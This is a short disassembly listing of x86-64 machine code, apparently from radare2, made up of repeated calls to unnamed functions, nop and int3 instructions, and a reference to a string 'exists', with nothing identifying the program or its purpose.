nop
call fcn.14007025c
nop
call fcn.14007025c
nop
call fcn.140001cc0
nop
lea r8, [rbp + 0x760]
lea rdx, [rbp + 0x1300]
lea rcx, str.exists
call fcn.140004720
nop
call fcn.14007025c
nop
call fcn.14007025c
nop
call fcn.14007025c
nop
call fcn.14007025c
nop
call fcn.14007025c
nop
call fcn.140001cc0
int3
call fcn.14007025c
nop
call fcn.14007025c
nop
call fcn.140001cc0
int3
call fcn.14007025c
nop
call fcn.14007025c
nop
call fcn.14007025c
nop
call fcn.14007025c
nop
call fcn.14007025c
nop
call fcn.14007025c
nop
call fcn.14007025c
nop
call fcn.14007025c
nop
call fcn.14007025c
int3